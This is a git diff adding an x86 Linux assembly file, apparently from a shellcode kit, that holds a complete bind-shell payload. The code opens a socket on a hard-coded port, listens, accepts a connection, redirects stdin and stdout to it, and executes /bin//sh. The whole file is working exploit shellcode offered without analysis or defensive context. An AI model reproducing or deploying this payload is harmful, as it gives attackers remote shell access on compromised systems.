initial

1 files changed, 73 insertions, 0 deletions

diff --git a/other/shellkit/x86_linux/portshell.s b/other/shellkit/x86_linux/portshell.s
new file mode 100644
index 0000000..31aa68c
--- /dev/null
+++ b/other/shellkit/x86_linux/portshell.s
@@ -0,0 +1,73 @@
+        .globl  cbegin
+        .globl  cend
+
+cbegin:
+
+/* socket */
+        xorl    %eax,           %eax
+        cdq
+        push    %eax
+        incb    %al
+        movl    %eax,           %ebx
+        push    %eax
+        incb    %al
+        push    %eax
+        movl    %esp,           %ecx
+        movb    $0x66,          %al
+        int     $0x80
+
+/* bind */
+        push    %edx
+        pushw   $0x7350
+        pushw   %dx
+        movl    %esp,           %edx
+
+        push    $0x10
+        push    %edx
+        push    %eax
+        movl    %esp,           %ecx
+
+        incb    %bl
+        movl    %eax,           %edx
+        movb    $0x66,          %al
+        int     $0x80
+
+/* listen */
+        addb    $0x02,          %bl
+        movb    $0x66,          %al
+        int     $0x80
+
+/* accept */
+        push    %eax
+        push    %edx
+        movl    %esp,           %ecx
+
+        incb    %bl
+        movb    $0x66,          %al
+        int     $0x80
+
+/* dup2 fd 0 + fd 1 */
+        movl    %eax,           %ebx
+        xorl    %ecx,           %ecx
+
+        movb    $0x3f,          %al
+        int     $0x80
+
+        incb    %cl
+        movb    $0x3f,          %al
+        int     $0x80
+
+/* execve shell (by lorian, see execve.s) - slightly modified */
+        movb    $0x0b,          %al
+        cdq
+        pushl     %edx
+        push      $0x68732F6E
+        push      $0x69622F2F
+        movl      %esp, %ebx
+        pushl     %edx
+        pushl     %ebx
+        movl      %esp, %ecx
+        int       $0x80
+
+cend:
+